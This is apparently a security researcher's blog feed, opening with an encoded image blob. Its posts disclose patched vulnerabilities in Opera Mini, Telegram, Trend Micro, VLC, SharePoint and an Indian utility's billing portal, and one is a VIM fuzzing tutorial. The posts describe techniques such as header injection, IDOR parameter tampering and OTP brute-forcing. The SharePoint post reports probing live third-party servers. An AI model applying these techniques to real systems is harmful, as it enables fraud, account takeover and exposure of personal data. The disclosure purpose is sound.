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05r3EnBQlG1O5DWBgyKyoxb5ml+nGpwuDnz729/uTj755O6jH/1oJ8330EMP7a51rWtN1yBrNMWBGeFAKQAzcqMXG6YCTbAYKAP77rtv9/znP7+itBdj1gxv94y88IUv7GQBqfVxy1veslb7M/w81NCngwOlAEzHfVz1KJRyVsDJ6k6NgUc96lGZurXqhquBieQAvA8AXSp6nn322YktccABB3Q3uclNJnI81eniQHFgSw6UArAlT2Z+y6c+9anEZ5c2eMwxx3TXu971Zp4ns8IAwaHHHnts97a3vS19+kcddVThSMzKza9xzhwHSgGYuVu+9AHz85500kkJ4HTXu941KzZWadal829SjjznnHMSrMvnFa94xe5Od7pTviqFb1LuYPWzOLAyDpQCsDK+zdRZYJvht1MGKAKKuAB2Uc+haPI48J//+Z+Jxf+BD3ygO+6447rLXvaynYwQJbkLpW/y7mf1uDiwUg6UArBSzs3geeIEzjrrrIR3/vKXv5x+YQVdlgrlPIMsG5shU+I+/vGPZ4zHd7/73W7XXXft/uzP/qyDC1Er/bG5TdWR4sCGcqAUgA1l93Rd7Pjjj+9e/epXd8oS77///h0gmKte9apLqhMxXZwYv9EQ+DAfvvGNb3SnnXZamvivcY1rZEGe+973vuPX4epRcaA4sOEcKAVgw1k+fRdU6vnrX/96d+KJJ3bKEisWpfCLbIKijeMAbIcvfvGL3bve9a4U/Fe5ylVSKVOARyDn5S53uY3rTF2pOFAcGHsOlAIw9rdosjr47//+71n58VWvelUnovxmN7tZd//73z8jyq9+9auXdWCNbic+//rXv+5++tOfJpjTqaeemn79HXbYoYPDv9dee3VXuMIV1uhq1UxxoDgwjRwoBWAa7+qYjOk3v/lN97Of/SyLEUktlE++++67d3e/+90TdMgKtWjpHGBdIegVdzr33HNzVX/b2962u9WtbpUKFn4upUz30q9YRxYHigPTzIFSAKb57o7Z2FQm/PCHP9ydfvrp3Xe+853uEpe4RALLqBV/wxvesLN6hT0w60LsF7/4Ra7m//7v/77zAr+LX1L0bnCDG3R3uctdMoDv0pe+9Jjd4epOcaA4MEkcKAVgku7WFPWVMsCM/U//9E8p4E455ZSOlQACnah0Qm7vvffurnnNa0415Ozvfve77oc//GH3iU98Ilf2559/fvfb3/62u851rtPd61736m5+85vnSp9SROBf8pJVwHOK/gY1lOLApnKgFIBNZX9dfD4HrH6VkxW9/s1vfjOFoeC17bbbLn3aO++8cyoFzN0yDhQwGtciRqLwf/7zn3fGxF/PHULYU3oI/osuuqj7j//4j8yikJbHEiKlspAX5z8V9bs4UBxYDw6UArAeXK0214QDrAFeas63tDbmcLEEsg4IU4JVrMHlL3/5VAx22223FKQUBUoDs7lgOPu9VgtepB8EtxcB79peP/nJT9Jc/73vfa/78Y9/3P3yl79My4UUSW4NLg44+l7NzWE1zw3SXmvCtGqkOFAcKA4skQOlACyRUXXY+HKAyZwiYLV9wQUXJHTxhRdemNYDQpqrwUqb8PYicCkWaKhktG1NMM//dLxtlAjmeGZ5ygVFgzVClgNrBLhkVfNsX63C4ZpFxYHiQHFgPThQCsB6cLXaLA4UB4oDxYHiwJhzoCKKxvwGVfeKA8WB4kBxoDiwHhwoBWA9uFptFgeKA8WB4kBxYMw5UArAmN+g6l5xoDhQHCgOFAfWgwOlAKwHV6vN4kBxoDhQHCgOjDkHSgEY8xtU3SsOFAeKA8WB4sB6cOD/A9fsDACWmFk6AAAAAElFTkSuQmCC" width="400" /></div><div><br /></div><div>Having said that, after countless assessment on the subscription process via opera mini, I found one `ping` request which is generated via opera mini, when its is open for the first time after clearing the cache and temp data of the browser. It was observed, that ping request is responsible for taking MSISDN and creating the session for entire flow.<br /><br /></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEY8wVcrfBo4F9x7XtFDzOgSgreB6fQ0EmsXXQBwzwxmf7FMAjUmVHdPzWeiDmeJ3ePXW7SOZQcoaV_pysGw8VEvmkbTIBJSq08DJJx0UWd4M63772fMVZ-sBtc4umg8vq1z1ic4hTc04/" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="540" data-original-width="2466" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEY8wVcrfBo4F9x7XtFDzOgSgreB6fQ0EmsXXQBwzwxmf7FMAjUmVHdPzWeiDmeJ3ePXW7SOZQcoaV_pysGw8VEvmkbTIBJSq08DJJx0UWd4M63772fMVZ-sBtc4umg8vq1z1ic4hTc04/s16000/Screen+Shot+2021-04-14+at+5.26.33+PM.png" /></a></div>Injecting MSISDN headers in this request with the victims MSISDN, the session was established by victims number with opera turbo server and now you can impersonate victim and subscribe for any VAS service to deduct his/her digital money. With a successful subscription using the above steps and server log it was concluded that opera turbo servers don’t validate/filter certain injected HTTP headers which leads to activation of VAS services.</div><div><br /></div><div><b>Patch:</b> Opera turbo stops forwarding such injected HTTP headers and CVE-2018-19825 was assigned to this which states “Lack of filtering of certain HTTP headers could lead to fraudulent VAS activation." </div>Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-51730621496604681802021-02-11T12:49:00.002-08:002021-02-12T02:26:43.602-08:00The "P" in Telegram stands for Privacy<div style="text-align: left;">
<b>Summary: </b>While understanding the implementation of various security and privacy measures in telegram, I identified that telegram fails again in terms of handling the users data. My initial study started with understanding how self-destructing messages work in the secret chats option, telegram says that "<i>The clock starts ticking the moment the message is displayed on the recipient's screen (gets two check marks). As soon as the time runs out, the message disappears from both devices.</i>" <br /></div><div style="text-align: left;"> </div><div style="text-align: left;">Telegram which has <span class="css-901oao css-16my406 r-poiln3 r-bcqeeo r-qvutc0">500 million active users suffers from</span> a logical bug exists in telegram for macOS (7.3 (211334) Stable) which stores the local copy of received message (audio/video) on a custom path even after those messages are deleted/disappeared from the secret chat.<br /><br />
</div>
<div style="text-align: left;">
<b>Technical analysis:</b> Open telegram for macOS, send a recorded audio/video message in normal chat, the application leaks the sandbox path where the recorded message is stored in ".mp4" file.<br /><br />
</div>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipiQ9WjD6f0k03Din0jStvZq6bZPqkqvXAcAAj7ZzBvUjkQnbnzwQDgCiYQl7KF3H_jAtFOk42y2hTwlw48HW19t_JzV27FEnvxMzehdu7W6eiKbs14To-GdeW_L6xPYrPwNZM8c_AAxk/s2560/Telegram_Info_Leak.gif" style="clear: left; float: left; margin-bottom: 1em;"><img border="0" data-original-height="880" data-original-width="2560" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipiQ9WjD6f0k03Din0jStvZq6bZPqkqvXAcAAj7ZzBvUjkQnbnzwQDgCiYQl7KF3H_jAtFOk42y2hTwlw48HW19t_JzV27FEnvxMzehdu7W6eiKbs14To-GdeW_L6xPYrPwNZM8c_AAxk/s16000/Telegram_Info_Leak.gif" /></a>
<div style="text-align: left;">
In my case the path was (<span style="font-size: small;"><span style="font-family: courier;">/var/folders/x7/khjtxvbn0lzgjyy9xzc18z100000gn/T/</span></span>). While performing the same task under secret chat option the
<span style="font-family: courier; font-size: small;">MediaResourceData(path://)</span> URI was not
leaked but the recorded audio/video message still gets stored on the above
path.<br />
</div>
<div style="text-align: left;"><br /></div>
<div style="text-align: left;">
<iframe allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="549" src="https://www.youtube.com/embed/Go-4srm_1fQ" width="875"></iframe><br /> <br />In the video proof-of-concept the user receives a self-destructed message in the secret chat option, which gets stored even after the message is self-destructed.</div><div style="text-align: left;"> </div><div style="text-align: left;"><b>Bonus: </b>The above mentioned version of telegram for macOS stores local passcode in plain text, below is the video proof-of-concept.</div><div style="text-align: left;"><br /></div><iframe allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="549" src="https://www.youtube.com/embed/zEt-_5b4OaA" width="875"></iframe><div style="text-align: left;"> </div><div style="text-align: left;">Both the vulnerabilities was patched in version <a href="https://macos.telegram.org/#v7-4-2021-01-29" target="_blank">7.4 (212543) Stable</a> and 3000 EURO bounty was awarded. In past I've identified multiple vulnerabilities under Telegram you can read them <a href="https://www.inputzero.io/" target="_blank">here</a>. Later today Fri 12 Feb 12:15 PM, CVE-2021-27204 & CVE-2021-27205 was assigned. What next?<br /><blockquote class="twitter-tweet"><p dir="ltr" lang="en">Use Signal</p>— Elon Musk (@elonmusk) <a href="https://twitter.com/elonmusk/status/1347165127036977153?ref_src=twsrc%5Etfw">January 7, 2021</a></blockquote> <script async="" charset="utf-8" src="https://platform.twitter.com/widgets.js"></script></div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-48562565717615084802020-10-13T11:11:00.003-07:002020-10-13T11:11:39.903-07:00Bypassing Trend Micro Web Threat Protection via Punycode <b>Summary:</b> It was identified that Trend Micro web threat protection can be bypassed using puny-code and was tested under macOS 10.15.4 (19E287).</br></br><b>Technical Analysis: </b>Trend Micro antivirus for macOS has an additional feature called web threat protection which has three main components. <span style="font-size: x-small;">[<a href="https://docs.trendmicro.com/all/ent/tmsm/v1.0/en-us/trendmicromachelp/pgs/wtp_csh.html" target="_blank">1</a>]</span></p><b>Enable Web Threat Protection:</b> When enabled, web threat protection starts checking the reputation scores of user requested web sites. Depending on the results, Trend Micro security (for Macintosh) will either deny or allow access to the requested web site. Enabling or disabling web threat protection from this screen enables or disables web threat protection on the protection status screen.</br></br><b>Protection Strength:</b> Select High, Medium, or Low.</br></br><b>Approved Websites:</b> Contains a list of user or administrator approved web sites. Security (for Macintosh) will not block web sites that are on the approved websites list.</br></br>We will be focusing on "approved websites" component which allows users or administrators to add URLs which needs to be blocked, having said that it was observed that this functionality can be abused by puny-code and leads to WTP bypass. </br></br><pre><code>http*://*.gооgle.com/* --> (#1 Fake google.com)</br>http*://*.google.com/* --> (#2 Real google.com)</code></pre>The above #1 utilizes puny-code with the combination of english and russian characters when such URLs are added under web threat protection, Trend Micro antivirus cannot render puny-code. Hence user will still be able to browse those blocked URLs, below is the video proof of concept demonstratingthis attack.<br><br><iframe width="875" height="549" src="https://www.youtube.com/embed/swZwOv9NeqU" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe><br><br><b>Remediation:</b> Trend Micro security team fixed this vulnerablity in Antivirus for Mac (2021) by URL filtering for such domains or a puny-code domain name conversion. A offical <a href="https://helpcenter.trendmicro.com/en-us/article/TMKA-09949" target="_blank">advisory</a> was published and CVE-2020-25779 was assigned to this.<image></image>Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-4732906353970556672020-03-26T07:36:00.000-07:002020-05-22T11:39:27.728-07:00Stealing videos from vlc<div dir="ltr" style="text-align: left;" trbidi="on">
<b>Summary:</b><br />
VLC for iOS was vulnerable to an unauthenticated insecure direct object reference (IDOR) which could allow a local attacker to steal media from the storage by just navigating to the source URL/IP.<br />
<br />
This was possible by abusing a functionality in the iOS application for VLC, which allows a user to share files with others over WiFi. This can be simply done by enabling "Network <b>></b> Sharing via WiFi" and the web-server for this functionality works on port 80(http) protocol.<br />
<br />
<b>Technical analysis:</b><br />
Let's assume a scenario where Bob & Alice are sharing a video over the WiFi using vlc-iOS, Eve could perform this attack by crawling the source IP address of Bob which would list the URL's of the videos shared between Bob & Alice.<br />
<br />
Having said that, navigating to those URL's Eve could simply steal the video without Bob's knowledge which successfully leads to unauthenticated IDOR. <br />
<br />
In the below image, Bob's IP is 192.168.1.135 and the hierarchy of stored videos in Bob's phone would look like,<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidVkjoWnDc-X6iRjAxRCvt5PprkdeHeLdd0DP50vkTYGSXKLzOxlflFVUcE2R-bqZGdqi5i_F3nQNQ-QJ7F4Zc5o031cONwdq2r5l8iVf67J_Dh-XUaw-LgQF501fwefSTL9yNOuwFJlc/s1600/VlC-iOS.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="418" data-original-width="1600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidVkjoWnDc-X6iRjAxRCvt5PprkdeHeLdd0DP50vkTYGSXKLzOxlflFVUcE2R-bqZGdqi5i_F3nQNQ-QJ7F4Zc5o031cONwdq2r5l8iVf67J_Dh-XUaw-LgQF501fwefSTL9yNOuwFJlc/s1600/VlC-iOS.png" /></a></div>
<br />
Such things can be crawled via burpsuite or you can use python scrapy to extract the URL's from the host and download the videos.<br />
<br />
<b>Mitigation from VLC Security team:</b><br />
They implemented a user-friendly authentication mechanism on VLC iOS web server for WiFi Sharing. Passcode authentication is enabled when VLC's passcode setting is enabled and the user uses the passcode that he set in VLC's settings to log into Wifi Sharing.<br />
<br />
This was reported on 2nd Jan 2019 and patched on 10th Feb 2020 whereas fixed version was publicly released in March 2020. Post mitigation VLC published an advisory for this which you can view <a href="https://code.videolan.org/videolan/vlc-ios/blob/master/Docs/NEWS#L3" target="_blank">here</a>. Aside this issue was accepted for bounty on <a href="https://hackerone.com/internet/thanks" target="_blank">The Internet</a>.<br />
<br />
<b>Update</b> Friday, 22 May 2020: Advisory from VLC Security<span style="font-size: xx-small;">[<a href="https://www.videolan.org/security/sb-vlc309.html" target="_blank">1</a>]</span></div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-51803202321355927402020-03-04T09:12:00.000-08:002020-03-04T10:03:35.306-08:00Fuzzing VIM<div dir="ltr" style="text-align: left;" trbidi="on">
<b>AAAAAAAAAA....: </b>It's almost a year now I started with fuzzing and discovered multiple bugs. The most commonly software which I've fuzzed so far includes Xpdf, VIM, PuTTY, WebKit, LibreOffice, Glibc etc. In this post I'll be demonstrating fuzzing <a href="https://www.vim.org/" target="_blank">VIM</a> (Regex engine) through <a href="https://aflplus.plus/" target="_blank">AFL++</a> a.k.a american fuzzy lop.<br />
<br />
<b>Technical Details:</b> VIM a.k.a Vi IMproved has 12 different editing modes which can be utilized for fuzzing. Vim has lots of potential for finding bugs with AFL. One of the bug which I found while fuzzing VIM was <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-20079" target="_blank">CVE-2019-20079</a>, I would also like to thank Dominique Pelle for this. <br />
<pre class="rich-diff-level-zero"><code class="rich-diff-level-one"><b>[+]</b> <b>Git clone VIM</b>
<b><span style="font-size: xx-small;">cmd$</span></b> <i>git clone https://github.com/vim/vim.git ; cd vim</i>
<b>[+]</b> <b>Compile and Make VIM with AFL++<span style="font-size: xx-small;"> </span></b>
<b><span style="font-size: xx-small;">cmd$</span> </b><i>CC=afl-clang-fast CXX=afl-clang-fast++ ./configure --with-features=huge --enable-gui=none
<b><span style="font-size: xx-small;">cmd$</span></b> make -j4 ; cd src/</i>
<b>[+]</b> <b>Feed Corpus</b>
<span style="font-size: xx-small;"><b>cmd$</b></span> <i>mkdir corpus ; mkdir output</i><span style="font-size: xx-small;"><b> </b></span>
<span style="font-size: xx-small;"><b>cmd$</b></span> <i>echo "a*b\+\|[0-9]\|\d{1,9}" > corpus/1 ; echo "^\d{1,10}$" > corpus/2</i>
<b>[+] Fuzzing VIM</b>
<span style="font-size: xx-small;"><b>cmd$</b></span> afl-fuzz -m none -i corpus -o output ./vim -u NONE -X -Z -e -s -S @@ -c ':qa!'</code></pre>
The above options used -<b>u NONE</b> and <b>-X</b> is to speed up vim startup. Options <b>-e -s</b> are used to make vim silent and to avoid <b>'MORE'</b>
prompt which could block VIM, the option <b>-Z</b> disables the external commands which makes fuzzing safer. I've also created a small bash script which automates the above tasks for you [<a href="https://github.com/RootUp/fuzzingvim" target="_blank">vimfuzz.sh</a>].<br />
<br />
While fuzzing, fuzz it on ram file system to avoid making too much I/O something like: <i><b>sudo mount -t tmpfs -o size=6g tmpfs /home/afl-fuzz-user/afl-fuzz</b>. </i>Aside you can use [<a href="https://github.com/RootUp/PersonalStuff/blob/master/pack.sh">pack.sh</a>] a script which contains some standard ubuntu packages so you dont get much dependence issues while compiling any target. Keep fuzzing :)<br />
<i></i></div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-48072258390982457452020-02-17T22:36:00.000-08:002020-02-18T02:02:07.877-08:00Sharepoint RCE<div dir="ltr" style="text-align: left;" trbidi="on">
<b>Summary:</b><br />
Few days ago I saw a post from <a href="https://otx.alienvault.com/pulse/5e3844a3cf5bbf510c482c3f" target="_blank">alienvault</a> which says attackers are still exploiting SharePoint vulnerability to attack middle east government organization. Having said that I found Income Tax Department India and MIT Sloan was also vulnerable to CVE-2019-0604 a remote code execution vulnerability which exists in Microsoft SharePoint. A malicious actor could exploit this vulnerability by simply sending a specially crafted SharePoint application package.<br />
<br />
<b>Technical analysis:</b><br />
I found this vulnerability during my free time while I was browsing to <a href="https://www.zoomeye.org/" target="_blank">ZoomEye</a> to find such component. The application (incometaxindia.gov.in) was found to be vulnerable as it was using SharePoint as a technology to host its service. To verify this I've sent a crafted payload which enable the remote server (incometaxindia.gov.in) to perform a DNS lookup on my burp collaborator. You can do this manual by sending the crafted XML payload or via <a href="https://github.com/Voulnet/desharialize" target="_blank">desharialize</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5XlVEjSF_UQvb6Cpy6Sje9NCCraVUNX8XbIWFziQRLwlRVhE-8ngnG0boSmoHBbQ9SEzFGTtNdFK4bxAJp5Yqjku_ds3-H9veffLwYDRclRF1xqHSIRznq_qP35WKknDlq7tYYn_WI9E/s1600/CVE-2019-0604.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="903" data-original-width="1600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5XlVEjSF_UQvb6Cpy6Sje9NCCraVUNX8XbIWFziQRLwlRVhE-8ngnG0boSmoHBbQ9SEzFGTtNdFK4bxAJp5Yqjku_ds3-H9veffLwYDRclRF1xqHSIRznq_qP35WKknDlq7tYYn_WI9E/s1600/CVE-2019-0604.png" /></a></div>
<br />
Aside, <a href="https://mitsloan.mit.edu/" target="_blank">MIT Sloan School of Management</a> was also found to be vulnerable with CVE-2019-0604.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhKrgGtFykjsRh_MSSxJ__p_b2TBFPVeuDiL3FJpNHVBcR-isIPd21JI7x0-N2SbF5Nn9SAJ7PVhcUakg_0jlfUVxA-lCe7_vJR4JNnip9ygXOo3ZW0UCs8osho-3-Ann754zgX_siRjA/s1600/CVE-2019-0604.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="909" data-original-width="1600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhKrgGtFykjsRh_MSSxJ__p_b2TBFPVeuDiL3FJpNHVBcR-isIPd21JI7x0-N2SbF5Nn9SAJ7PVhcUakg_0jlfUVxA-lCe7_vJR4JNnip9ygXOo3ZW0UCs8osho-3-Ann754zgX_siRjA/s1600/CVE-2019-0604.png" /></a></div>
<br />
<b>Responsible Disclosure:</b><br />
<b>CERT-In </b>(IncomeTaxIndia):<br />
This was sent to CERT-In on Feb 12, 2020, got initial response by them on Feb 13, 2020. Post that the vulnerability was patch silently.<br />
<b>For MIT:</b><br />
This was sent to MIT security team on Feb 13, 2020, got initial response by them on Feb 14, 2020. Post that the vulnerability was patch silently on Feb 15, 2020.</div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-66643477804217304252019-12-13T10:01:00.000-08:002020-02-03T08:09:47.711-08:00IDOR in Power Service<div dir="ltr" style="text-align: left;" trbidi="on">
<b>Summary</b><br />
One of the India's leading power supply company named, <i>Adani Power Limited</i> is the power business subsidiary of Indian conglomerate Adani Group. A subdomain was vulnerable to IDOR (Insecure Direct Object Reference) which could allow attackers to view bills of any users across India. The bill include details such as Name, Address, Bill Amount, Unit rate, Pervious bill details etc.<br />
<br />
I found this vulnerability while using one of their service.<br />
<br />
<b>Vulnerable URL:</b> https://iss.adanielectricity.com/VAS/ProcessDownloadPDF.jsp?TXTCANO=xxxxxxxxx<br />
<br />
The parameter `<i>TXTCANO</i>` in the above URL contains 9 random digits which can be predicted, having said that, changing the value of that parameter can allow attackers to view bills of any other users. (<i><a href="https://drive.google.com/file/d/14KoW_40po5TBYshBjuVZVA9UJF89EjAg/view?usp=sharing" rel="nofollow" target="_blank">Proof Of Concept</a></i>)!<br />
<br />
<h4 style="text-align: left;">
<b>Chaining bugs - (Viewing Bills to Account Takeover)</b></h4>
If the users are not registered under <a href="https://www.adanielectricity.com/MyAccount" target="_blank">Adani MyAccount</a>. The bill obtained using the above method contains two important details<br />
i.e. Account number and <a href="http://bsmedia.business-standard.com/_media/bs/img/article/2018-01/03/full/1514922114-4814.jpg" target="_blank">Meter Number</a> using which an attacker could register users account to perform any fraudulent activity.<br />
<br />
It was also observed that when you navigate to the <a href="https://www.adanielectricity.com/Registration-validateotp" target="_blank">registration</a> page and provide the valid "Account Number" and "Meter Number" the MSISDN associate to that account is also disclosed. (<i><a href="https://drive.google.com/file/d/1kz6PeDS9OMPfRZvqNWQg6PQg4504Qd9I/view?usp=sharing" target="_blank">Proof Of Concept</a></i>)!<br />
<br />
<b>PS:</b> The registration process sends an OTP to the mapped MSISDN but it was also identified that there is no rate limiting hence performing a brute-force attack would help attackers to find actual OTP or attackers could simply edit MSISDN and insert their own to get OTP.<br />
<br />
Hence attacker now have personally identifiable information (PII) of end user i.e. Name, Address, Phone Number and other details in bill. Such information can aid attackers in conducting targeted attacks such as vishing, information gathering via SMS, attempting to steal payment information by impersonating the actual service provider via SMS or telephonic calls.<br />
<br />
As per their about page there are 2.9 million users of Adani Electricity. <br />
<br />
<b>Timelines:</b> The vulnerability was responsibly reported to Adani Electricity via group[.]csoc[at]adani[.]com on 9th Nov 2019 and was patched without any acknowledgement on 11th December 2019.<br />
<br /></div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-92143468677370865192019-10-31T04:46:00.000-07:002019-11-02T07:00:31.178-07:00Hacktivity Badge<div dir="ltr" style="text-align: left;" trbidi="on">
So, this year I presented my workshop on fuzzing in <a href="http://hacktivity.com/" target="_blank">Hacktivity</a> which is a two day conference in Budapest, Hungary & I had an amazing experience over there, I would personally endorse infosec geeks to be part of that conference.<br />
<br />
Nevertheless, I came across the electronic badge which was provided to every attendee in that conference and here is the introductory part of how to get started with the badge.<br />
<br />
